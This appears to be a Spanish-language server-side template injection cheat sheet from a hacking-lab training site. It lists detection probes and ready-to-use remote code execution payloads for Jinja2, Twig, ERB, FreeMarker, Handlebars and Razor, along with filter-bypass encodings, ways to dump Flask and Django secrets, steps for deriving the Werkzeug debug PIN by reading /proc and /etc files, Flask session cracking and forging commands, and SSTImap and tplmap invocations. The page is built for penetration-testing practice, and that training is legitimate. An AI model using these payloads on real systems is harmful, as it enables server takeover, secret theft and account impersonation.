Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet SSTI

Server-Side Template Injection

Referencia rápida

  • El arbol de decision: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) o 49 (Twig)
  • Buscar SSTI en: generadores de PDF/email, sistemas de plantillas admin, respuestas de error personalizadas
  • Para Jinja2 con filtros estrictos, usar hex encoding (\x5f) o chr() para evitar _ y comillas
  • Twig sandbox escape: sort("call_user_func") permite RCE incluso en modo sandboxed
  • Si Flask tiene debug mode habilitado, calcular el PIN con datos de /proc y /sys

Deteccion y fingerprinting

Fuzzing inicial

${{<%[%'"}}%\

Test matematico Jinja2/TwigSi devuelve 49, es Jinja2 o Twig

{{7*7}}

Distinguir Jinja2 de TwigJinja2 devuelve 7777777, Twig devuelve 49

{{7*'7'}}

Test FreeMarkerSi devuelve 49, es FreeMarker (Java)

${7*7}

Test ERB (Ruby)Si devuelve 49, es ERB

<%= 7*7 %>

Test Razor (.NET)Si devuelve 49, es Razor

@(7*7)

Test Smarty/Mako

${7*7}

Test DjangoSi muestra debug info, es Django

{% debug %}

Jinja2 (Python) - RCE

One-shot RCE via request

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

RCE via subclass chain

{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}

Config y secrets

{{config.items()}}

Django SECRET_KEY

{{settings.SECRET_KEY}}

Filter bypass (hex encoding)Bypass cuando _ esta filtrado

{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}

Quote-free (chr encoding)

{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}

Otros motores - RCE

ERB (Ruby) - system

<%= system("whoami") %>

ERB - backticks

<%= `ls /` %>

FreeMarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Twig sandbox escapesort() acepta callback -> call_user_func("system", "id")

{{ ['system','id'] | sort('call_user_func') }}

Handlebars (JS)

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Razor (.NET) - Process

@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@output

Flask/Werkzeug Debug PIN

Calcular PIN con LFI

Leer:
1. /proc/self/environ (username del proceso)
2. /sys/class/net/eth0/address (MAC en decimal)
3. /etc/machine-id o /proc/sys/kernel/random/boot_id
4. Path a flask/app.py (del traceback)
Calcular: SHA1(public_bits + private_bits) -> PIN

Flask session forgeryCrackear secret key de la session Flask

flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'

Forjar session

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'

Herramientas

SSTImap

Herramienta automatizada de deteccion y explotacion de SSTI multi-engine

python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'

tplmap

Alternativa a SSTImap con soporte para multiples motores de template

python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'

fenjing

Generador automatico de payloads Jinja2 con bypass de filtros

python3 -c "from fenjing import exec_cmd_payload; ..."

flask-unsign

Crackear y forjar session cookies de Flask

flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica